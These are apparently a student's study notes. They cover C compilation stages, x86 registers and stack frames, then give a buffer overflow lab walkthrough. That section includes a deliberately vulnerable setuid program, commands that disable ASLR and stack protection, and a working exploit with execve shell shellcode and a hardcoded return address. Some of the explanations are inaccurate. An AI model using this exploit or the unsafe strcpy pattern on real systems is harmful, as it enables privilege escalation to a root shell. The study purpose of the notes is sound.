Buffer overflow
From source code to executable
overview
预处理 -> 编译 -> 编译 -> 链接
processor -> compiler -> assembler -> linker
source code(.c / .h) -> include header(.l / .ii) -> assembly code(.s) -> machine code(.o / .obj) -> executable code(.exe)
1. pre-processing
pre-processing will handle '#' directives, .h file will be included and the contained macros expanded
we can use -E to stop after pre-processing
e.g
hello.c
#include<stdio.h>
int main() {
printf("hello thy");
}
after gcc -E -o hello hello.c
2. compilation
Compiler converts a high-level language into the specific instruction set of the target CPU
e.g. after gcc -S hello.c
.file "hello.c"
.text
.section .rodata
.LC0:
.string "hello thy"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
leaq .LC0(%rip), %rdi
movl $0, %eax
call printf@PLT
movl $0, %eax
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
Assembler
Assembler translates assembly to binary
use gcc -c hello.c to get hello.o file
Linker
Linker puts binary together with startup code and required libraries
gcc -o hello hello.o, the result file is the same as gcc -o hello hello.c
preliminaries
common registers in x86
- AX,BX,CX,DX: general purpose register
- SP: points to the top of the stack
- SI,DI,BX,BP: address register, also may be used for array indexing
- CS,DS,SS,ES: segment registers for code / data / stack / extra segment
- IP: instruction pointer
memory structure
- stack segment
- data segment
- code segment
frame:
when function is called, a new frame is pushed into stack, when return, the frame is popped up
contents of frame
- parameters of current function
- return address: where to go when rhe function return
- previous frame address
- local variable of current function
buffer overflow
since the rbp register is used to store the return address, what we need to do is to overwrite the return address with the address of the function we want to call
some functions do not rule the length of aeguments, e.g:
int bof(char *str)
{
char buffer[12];
/*The following statement has a buffer overflow problem*/
strcpy(buffer, str);
return 1;
}
we can input a string longer than length 12, and the program will crash
example
consider the following code
/*stack.c*/
/*This program has a buffer overflow vulnerability.*/
/*Our task is to exploit this vulnerability*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/*The following statement has a buffer overflow problem*/
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
what we want to do, is to open the shell in this program
-
Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:
sudo sysctl -w kernel.randomize_va_space=0 -
Compile the Vulnerable Program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:
gcc -o stack -z execstack -fno-stack-protector stack.c chmod 4755 stack -
run the program in gdb, see the asm code of bof function
gdb stack disass bof -
set the breakpoint:
break *bof+27 -
run and see the value of rax register and rbp register
-
we can use the following code to construct a exploit
/*exploit.c*/ /*A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> const char code[] =
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
;
void main(int argc, char **argv) {
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer+0x14,"\xa4\xdc\xfe\xff\xff\x7f");
strcpy(buffer+0x100,code);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
\xa4\xdc\xfe\xff\xff\x7f is the address we want to overwrite, because 0x7ffffffedba4 + 0x100 = 0x7ffffffedca4.
and the 0x14 comes from 0xc + 8 = 0x14, because our system is 64 bit
7. run
```shell
gcc -o exploit exploit.c
./exploit
./stack
complete the attack